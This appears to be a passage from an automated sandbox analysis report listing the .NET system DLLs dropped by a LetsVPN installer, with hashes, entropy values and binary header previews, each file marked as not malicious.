C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905329079129804
Encrypted:	false
SSDEEP:	384:/28YFlXulWY/W3ypwKANynsAw/98E9VF3AM+ohHpSmd5kt:/0qqAw/KENAMxhJSmot
MD5:	A8634436A0BC5D272D023ACE72EF6959
SHA1:	9F1B7980EC924D0616D59AD28CDFCC1C1A839C1F
SHA-256:	F635D498E723FB968A7EAA95E5564CC9A77A77046071EED4C0C7C69036B56451
SHA-512:	1EE356541F1AE8DC43E5CAA72377E2DC050C9B29545B7B36EC2143B44DBF7824359650A64DCE4FB21A1F299BD657E3F9F1828BFDB6A7183DD0077E1810583A72
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@.. ................+...`......t'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~..,...P...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................~.....R..... .....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.79150562858462
Encrypted:	false
SSDEEP:	384:2uMLcdQ5MW9MWtNpwKANynsAw/98E9VF3AM+ojzVHu:LOcSpgAw/KENAMxQ
MD5:	E06B61339229A0A9308D6CDA9122380B
SHA1:	81CC02F1B090C3C137813F10D33C59101117F19C
SHA-256:	D74F95419BDA91BCC54428BEA8ED6F2A3B41A2F3F3F273E48A29F92669A59231
SHA-512:	1100C5D29EF8688DED4F26AA26A3C18E425C0039E3286E148BED2867314105E40081CC9F847605F98E1C593DADAA200320817A358CDA6EA5433CE35F543034A6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............,... ...@....... ....................................@..................................+..O....@...................+...`...................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P .............................................................BSJB............v4.0.30319......l.......#~..p...0...#Strings............#US.........#GUID...........#Blob......................3................................................;.........................$.....$.....$.....$...[.$...t.$.....$.....$.........g.$.....#...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.866265875014329
Encrypted:	false
SSDEEP:	384:vZ7RqXWDRqlRqj0RqFWzapwKANynsAw/98E9VF3AM+o86luOy/3e:x9qKqjqjuq0Aw/KENAMxqe
MD5:	552E2E95235E7AEA3AB4D5106B66CC8F
SHA1:	52749321CA826CE32F892D2FACF053445E8DF58B
SHA-256:	CB7737E253D6D9182DF83B54DDD98034E4652A691B0DC0FCFA3971F5ACE00833
SHA-512:	C5BC008D5621FAB4226D6BB9E066E8C9E63F200E034C716D785C2495F48A8F4DBA6FD369AB5E3D34C78F8F50E22B3FF249C4D5095FC5EDE53C150DB66E1787C7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................X..O....@..P................+...`...... )............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ..P....................(......................................BSJB............v4.0.30319......l...L...#~......l...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0.....%.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.684112746735289
Encrypted:	false
SSDEEP:	384:PNBMbljRC+lgfS1RPWYR1Rw0R9WYRPWYRDRj0R9WW0pwKANynsAw/98E9VF3AM+P:PvMhF2SzNzwu/NljuHAw/KENAMxSN
MD5:	4CA24D89C5A6DC157E0A3F5FE569DC3F
SHA1:	352D52544989632075AD6979EF6FC4DC21D6AE8A
SHA-256:	ADE7F4A02B90EC046B8E28837D28CED17C38E4FAACD451833F4E4FD8CC14850A
SHA-512:	E56F29322BFF81F832E04C025CAC53220F007F4E831ADFAFECCD222971B18B6C383837F49F47A4F195BB9F34F0E3AC33CD6F7D66E06D7FDA3C1686A1B84A1705
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............6... ...@....... ...............................0....@.................................a6..O....@...............&...+...`.......5............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................6......H........"..H............4......(5........................................o...."..o......o...."..o....j~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(.......0..K........-.r1..ps....z. ...@3.(..... ....3.(....*. ...._,.(....rI..ps..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9524284524501185
Encrypted:	false
SSDEEP:	384:TZ4RLWdRfRJ0RZWuTpwKANynsAw/98E9VF3AM+oTEeygsJ:TZK0pJucAw/KENAMxAVg6
MD5:	3A50AAF4EC343B88ACC10F59C187E16F
SHA1:	BF6EE730359B2ED2DC0B24FAED1DCCC07982053F
SHA-256:	D08709FFF794C82D6142F7BE64DAA96EB190244BB1816222167FF3FDFA7439C0
SHA-512:	EFB911533062B823C56FB4C1D6DF8E02006399904C96540905D8010903ADCF6A6B214D0E4A3F98E71B5CCFDBF1EF2BD1CFBBF965E267B6BB9DAA0BCC3F785F20
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................h.....@..................................)..O....@...................+...`......h(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3......................................................m.....A.{.........U.................T...........#.....l...........>.....'...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.853001096633939
Encrypted:	false
SSDEEP:	384:kYWsmW9VpwKANynsAw/98E9VF3AM+o2DJKrP:k26Aw/KENAMxiyP
MD5:	00BC2B6B3B4DC2C838C6044165B2BCA1
SHA1:	194B35894C238E9C07F03381D95A83EB41370DF0
SHA-256:	AD0B8F872A39661BEA96D21951B42F732BA1C666AB14C246271D734B0F9900B4
SHA-512:	DD4221AB70A39477D474A8780E6BEF36FCAC1C1A7CE275CDD4171B2E00044B2D78333419626E0D99A7F3AB1DF9EB8A9E2E24BB40B3E3494F4D568077D0C24082
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*(... ...@....... ....................................@..................................'..O....@..@................+...`.......&............................................... ............... ..H............text...0.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ...................... &......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................z.....N.....".....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........:.....C.....b...#.k...+.k...3.k...;.....C.....K.....S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	105960
Entropy (8bit):	6.3980318072931635
Encrypted:	false
SSDEEP:	1536:Avc/U5yNq2oS4Zd0LE3YigSFvhoZO2K3aAYH2TfXmNoJXUAwrx7:Igk1tiLMYiDFvxqrWDWNoJXUht
MD5:	7247035215659F364A9E1B0DA48F026E
SHA1:	D44B54FC1536C5BA97704F2C96AA41AFA068F22F
SHA-256:	323A5C9BB09F13197CFD1D70B8889D7BA177708665A6649D78E667F03BA1D6AB
SHA-512:	1BFAB9A14DFF325E9D2C17EE49805A12FBAA68E1B4EA84618A24574D37551865F701974D20DF693C9692D3F650DB072BE72A5C72A1A2D95A84CFE06E7F9FC24F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..d...........W... ........... ..............................%S....@.................................5W..O....................r...+...........V............................................... ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............p..............@..B................iW......H........................9.......V......................................j~....%-.&(I...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r7..p.(....2rs..p.(....2r...p.(....2r...p.(....2r...p.(....2r=..p.(....2r_..p.(....2r...p.(....2r...p.(....*2r...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30696
Entropy (8bit):	6.437349251984308
Encrypted:	false
SSDEEP:	384:8mjoB5y+MLi9VYp/OiRc715ZkSAcE1l2Yd5zqNz8TWgVbW0YpwKANynsAw/98E9p:DCN9VYp/OiRcnZIfk8PLAw/KENAMx84V
MD5:	50B1CBCFE5A7BCD2432873CB68256840
SHA1:	B3351E416FE20887790EFF62EB1D7BA12C88A0B4
SHA-256:	178D18A1581ED4210B4371F43E72474856E783B9474B9E10A0CFA1B0BCE1D2AC
SHA-512:	6A23D4252D5676EA5049AC69C29272C13BEEB2A6B84533FC8C3555F9F67D6E81C841074EFA708A44BAEDC1395A5244BC2AD9ED63A9580939A840F35044AC44BF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._............" ..0..B...........`... ........... ..............................Z.....`.................................t`..O....................L...+..........l_..T............................................ ............... ..H............text....@... ...B.................. ..`.rsrc................D..............@..@.reloc...............J..............@..B.................`......H........&..t)...........P.......^........................................(....^.(.......(...%...}....:.(......}....:.(......}....:.(......}.....~.....0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9120192483587095
Encrypted:	false
SSDEEP:	384:5Kcuz1W1cWkVpwKANynsAw/98E9VF3AM+oVHKB:ju8BAw/KENAMxi
MD5:	4C1252D60E69975F134749D98AAE7BF1
SHA1:	301AF29754DB69E9C6B9A1F51EF5596C289C81FC
SHA-256:	C9DA462E07CAA610D558B5409A76E283232453E20775010297704B7FD165CC8F
SHA-512:	F67BFDF65FB9DFE1834FE728DEB38B996AA11F29FAA41BB9522E0230B5A297A7D7F23F8EAE9C3FD4DCCB4864D5669CB3B09ED674AF92A8B3A066B7D1E1FBE520
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................+...`......H'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..x....................&......................................BSJB............v4.0.30319......l.......#~......H...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................................p.....D.....9.....X.................W...........&.....o...........A.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.915701572831014
Encrypted:	false
SSDEEP:	384:h+SWikWRLpwKANynsAw/98E9VF3AM+oVfWYf2Zi:h+eSAw/KENAMxo0ii
MD5:	768E795DCBA5ECB7C19405C2D0B76192
SHA1:	4BCBB19307AB780BB88368E5C2518E82813D728F
SHA-256:	03C7419B86A770DCFB6A498C082E2EAFF774914443F3E234030EA697969D393E
SHA-512:	658BCAEA968FAAA22DA1BBEFEA4D584A10B021DAE6FBBD86CA9ACA236CB114F9E359E2062248DABB74FE48EFDE5211B738539884FD3582696D06A55A8019DCB9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................e.....@..................................(..O....@..P................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....h.......#US.l.......#GUID...\|.......#Blob......................3......................................................y.....M...........a.................`.........../.....x...........J.....3...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.95803756202855
Encrypted:	false
SSDEEP:	384:mAWzgWrnvpwKANynsAw/98E9VF3AM+omHs2Tojo:mtkAw/KENAMxW1t
MD5:	43FDDAE5615134C7C7CFF1ED626BE3D1
SHA1:	AAC4C804F1163324A4FF971467E5F3C06474DC07
SHA-256:	0959B36DACC9C10C8A0E1F56D6CA71D157798D3D35F03EFE271681C655CA9F9A
SHA-512:	7442210B136734C77809BD4C1FEA00A2C0FE47803AB797C4C6C146BAEDECF6267A1FC6140BE7A8E97274D5378BCCB490FB39C6E026DD3FA44FBB81E6DF690798
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................C...f.C...:.0...c.....N.................M.................e...........7..... ................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916341452717303
Encrypted:	false
SSDEEP:	384:SBLRWbYW+EpwKANynsAw/98E9VF3AM+oYH+eldn:SB26Aw/KENAMxYdn
MD5:	5C690CE5296DF97EC7DDA8C31813D4C6
SHA1:	0B6AED473753A8102CFFFAE521C2868784104A8D
SHA-256:	B3A4497DE0831383956484815185AE3A3500A04024988D3C369036CC685C1992
SHA-512:	FC17E215B9315D76DCB809EA6F84643001DE2488ABE1FA2B6E70C6CE8C0BF575E58ADF0334FC10968529924C8FE46D4BB3D2450E5A674958AECC8207BA0E53A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............b)... ...@....... ..............................@.....@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US.........#GUID...........#Blob......................3................................................../...z./...N.....O.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.907423713499948
Encrypted:	false
SSDEEP:	384:aHW4/WU4EpwKANynsAw/98E9VF3AM+om7CAyyhlnRy:ari5Aw/KENAMxKCXyhlnRy
MD5:	6619081571A33A10323FFCB6F62F97AF
SHA1:	446B905A6231EE7068C5A469407D024BD72C4E18
SHA-256:	335EB2A8D88AAC31BC001FBB494C20E6A1EF64B8A3AE6977E6FFDCC98FB7A172
SHA-512:	FE7500D63F5F4DDB6E1E14751F526833D03019C0E7357741B926A20D6E880B94A989B83DFC074DA3BCF91B67D693546773D67F92E62B9541901E0C719186AD6A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\...#Strings....`.......#US.d.......#GUID...t.......#Blob......................3..................................................+.....+...^.....K.....r.................q.....'.....@.................[.....D...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.960962234154388
Encrypted:	false
SSDEEP:	384:5vk7hWmCWT6pwKANynsAw/98E9VF3AM+oPy877:5s7/nAw/KENAMxx
MD5:	F1E0BCB969F660A0694A631700C1C74C
SHA1:	6DDF8D3FF19D3EDFFB69B45B2EF4FEFACBAE7785
SHA-256:	0D5C7570AB3351291F3E89FD7FF2FF920B8A0BF5056D9EBC347771A012BABA75
SHA-512:	DBDC45285556BFD0F886C8A796E759600B65922544317FA273B07DDF29CAA3DCBA4BB511973ED6AA524AC56F302905500F52329D98289B1301B375CB89CEA26F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................h)..O....@..0................+...`......0(............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................)......H.......P ..`....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....8.......#US.<.......#GUID...L.......#Blob......................3................................................ .C.....C...w.0...c.............................@.....Y.................t.....]................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.8...K.X...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48104
Entropy (8bit):	5.956440090685503
Encrypted:	false
SSDEEP:	768:Dxua7db+smzMnSzBt++0YfTF61O+luv5tyIAw/KENAMxtRl4:DxH7ssKugt+++1luv5tyIAwrxtQ
MD5:	7DE684000FD09F0A319782CDE7FB4098
SHA1:	5F6DE103DF572A76DB475146E1DEE12610060949
SHA-256:	B2A59B165E0BA461530C69747A0220B977382A3FBB5D4EC1892EB501FE236CC7
SHA-512:	C1BBCF5772DD25B29D114B0181B907349ACEDCDE82C30D76C75B4257E46E231528D3C0B59F0B1FE0E6973ADBBD5DDDCFC710535C7A28FE911F0FD7AC37D1B784
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)1............" ..0.................. ........... ....................................`.................................S...O........................+..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......`(...D...........l...6...........................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.63165380644001
Encrypted:	false
SSDEEP:	384:DANJdesEvbDYUgmpWrxWNPfWqxWfPmnpwKANynsAw/98E9VF3AM+oAtOkaEvM:SclTD/yod2bAw/KENAMxE70
MD5:	DBFD249ED5D76598C98126B6D50EF479
SHA1:	E19E8BC586375BDF910B45C45BAD82AF60EF3B25
SHA-256:	04EE5D37A90404401FF94A4C1904ECD8D6D684C5A49B763421A8A3E5E68E3860
SHA-512:	89B4B2592C09C17E663F43ED6BD5879F61B69D598AEA0704AB1E28198F3F06C18238D05E07AF92E9518EB22EC56F9CA01A334F8D5A7CF4A5C71203EB45BCBCDE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:.[.........." ..0.............Z5... ...@....... ..............................G.....@..................................5..O....@..P............&...+...`......T4............................................... ............... ..H............text...`.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`.......$..............@..B................;5......H........!...............0..(....3......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2ra..p.(....2r...p.(....2r...p.(....2r...p.(....B.....(...........o...."..o.....BSJB............v4.0.30319..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.927838293875772
Encrypted:	false
SSDEEP:	384:dGMWCUWbopwKANynsAw/98E9VF3AM+o3303r0ND:d3HAw/KENAMxU3CD
MD5:	A2311347E254C061BF6C1F24A4A1DFA8
SHA1:	18483DB09090C9E3C7B50313C66B2340DDAF7CAC
SHA-256:	62FD18D7BB1FB2EE4F25FA443D826C009760FC7D814718223F3513F26DA51216
SHA-512:	3B2AA09F78C8F90602D4C299D46FDFFFCA58E3D10AF7081B28A2C01802C73496786B0AC35766FA2DF6D23C79C456203E9C2DB35A33AE9D3ED7CE16864287EC9C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................nB....@.................................@)..O....@...................+...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................t)......H.......P ..8....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US. .......#GUID...0.......#Blob......................3..................................................].....]...T.J...}.....h.$.....$.....$...g.$.....$...6.$.....$.....$...Q.....:.$.................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;.....C.,...K.L...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	35304
Entropy (8bit):	6.273566191911974
Encrypted:	false
SSDEEP:	768:y44bN5hwABzKGUn11fF+1WWAw/KENAMxJo:y5bLhLBzcn1gWWAwrxe
MD5:	D9527FAA55F0D7A737845D14F0FA6FFF
SHA1:	A871AC8A95DF15D069E20DA521A215E91B0FA476
SHA-256:	F47E5FC825463E6EB7F3947A564982DE3EDE85EF9882294530B1F03CE7C3115D
SHA-512:	BD1D34565BB002998E9A68649BCD96AEE24138944D8B1BA702639CF412044B0F08965B62DF08C68B0EF2FC6D16201B293EB420DA60A95B7EF5102E56EC1A8A43
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..T...........s... ........... ..............................>L....`..................................r..O....................^...+...........q..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............\..............@..B.................r......H........&...............U..X...`q.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.912941177738582
Encrypted:	false
SSDEEP:	384:c9BhwI7WSQWBPpwKANynsAw/98E9VF3AM+o2Yp9d:c9DwIB6Aw/KENAMxhD
MD5:	8B51C8E0F7295DD4F4CAD987DF43DCCE
SHA1:	83D9317DF8B46AA52C5AE6605B0AC451DC8C62E3
SHA-256:	0A6FA415695878ED0D59B8A09EA4C247FF12762056B637E7EA623AB0CD80F3E9
SHA-512:	1AA7FE3015AEE0C92C0869D409CD4965F0B5326195728E16671DC87E1AE4639ABBCC6CBA5D609995EA5D90FBEF17406D2843B14571FB7D19BF935C8715EEB4AF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................w....@.................................l(..O....@..P................+...`......4'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..d....................&......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................f.....:.....2.....N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.925029499359628
Encrypted:	false
SSDEEP:	384:jyvPRW4lWSlpwKANynsAw/98E9VF3AM+oayAYX:+39mAw/KENAMxp
MD5:	CF7BD5371870C68B3F0B3D28706445AD
SHA1:	8A9BBC216417D64C7C2BD2F999716272AEA48775
SHA-256:	97F68D3B3E4D60C8A66C6E05484D684572D7120EBF160FE644C7EBF0AD0149B1
SHA-512:	BBAF7E0E430889634A1CC5C0BE5B0B329EE4B5F6BE5452AE8948312D5AD83C6A40FF018768F99ACF1B270AD8BCAD562AE396F5ECE6C671D686318AC789979758
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................>.....@..................................)..O....@...................+...`......l(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................f.....:...........N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.&...K.F...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll

Download File

